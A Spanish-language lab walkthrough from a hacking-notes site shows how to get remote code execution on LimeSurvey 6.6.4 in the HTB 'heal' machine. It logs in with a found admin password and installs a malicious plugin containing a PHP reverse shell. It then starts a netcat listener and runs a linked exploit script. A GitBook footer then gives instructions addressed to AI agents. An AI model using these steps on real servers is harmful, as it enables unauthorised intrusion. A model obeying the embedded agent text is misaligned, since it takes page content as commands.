> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/cms/limesurvey-cms-exploitation.md).

# LimeSurvey

## Vulnerabilidad de LimeSurvey CMS

{% embed url="<https://nasirli.medium.com/limesurvey-6-6-4-rce-0a54c2c09c5e>" %}

<figure><img src="/files/732e46fe8844645b1ae358c4ddfa3a8345701733" alt=""><figcaption></figcaption></figure>

#### Acceso al área de administración

La interfaz de administración está disponible en la siguiente URL:

`http://take-survey.heal.htb/index.php/admin`

Inicia sesión con las credenciales de Ralph:

* **Nombre de usuario** : `ralph`
* **Contraseña** : `147258369`

<figure><img src="/files/0754ac762fe77c5cd0513d94cfb89b7e1e3c309c" alt=""><figcaption></figcaption></figure>

La versión de LimeSurvey es **6.6.4**, que es vulnerable a **Ejecución remota de código (RCE)**.

<figure><img src="/files/c884ae09b5926ac68f38592853f2672466e5191b" alt="" width="563"><figcaption></figcaption></figure>

### Explotación de RCE mediante una extensión maliciosa

{% embed url="<https://github.com/N4s1rl1/Limesurvey-6.6.4-RCE>" %}

Adapta el script de explotación al contexto del objetivo.

<figure><img src="/files/c791454acbcc099c391a291aaf1b69652eb2bbb7" alt=""><figcaption></figcaption></figure>

Primero, crea un archivo comprimido que contenga `config.xml` y una shell inversa en PHP:

```bash
zip -r N4s1rl1.zip config.xml revshell.php
```

<figure><img src="/files/726a27a7a1a438883afb782636daec8fcde4f99e" alt=""><figcaption></figcaption></figure>

Luego, instala el complemento malicioso a través de la interfaz web de LimeSurvey.

<figure><img src="/files/c225e05ee5031174544a251843bd4e11367e45bf" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/083ef81239a6f428c1e6b314e0df9dd74e4ef3bb" alt="" width="501"><figcaption></figcaption></figure>

Pasa el cursor sobre el complemento instalado para identificar el ID del complemento.

<figure><img src="/files/fb1db35410d1a4d6b62c4d3b7d673798b38c4083" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/c99ca0fa846841367b28dcf7d98e498035d825f6" alt="" width="563"><figcaption></figcaption></figure>

Después de actualizar el script con ese ID, inicia un listener en el puerto 443:

```bash
nc -nlvp 443
```

Finalmente, ejecuta el exploit con Python:

```bash
python3 exploit.py http://take-survey.heal.htb ralph 147258369 80
```

<figure><img src="/files/883a93c6a4785028a88bf6953526bf4c98211f05" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/cms/limesurvey-cms-exploitation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
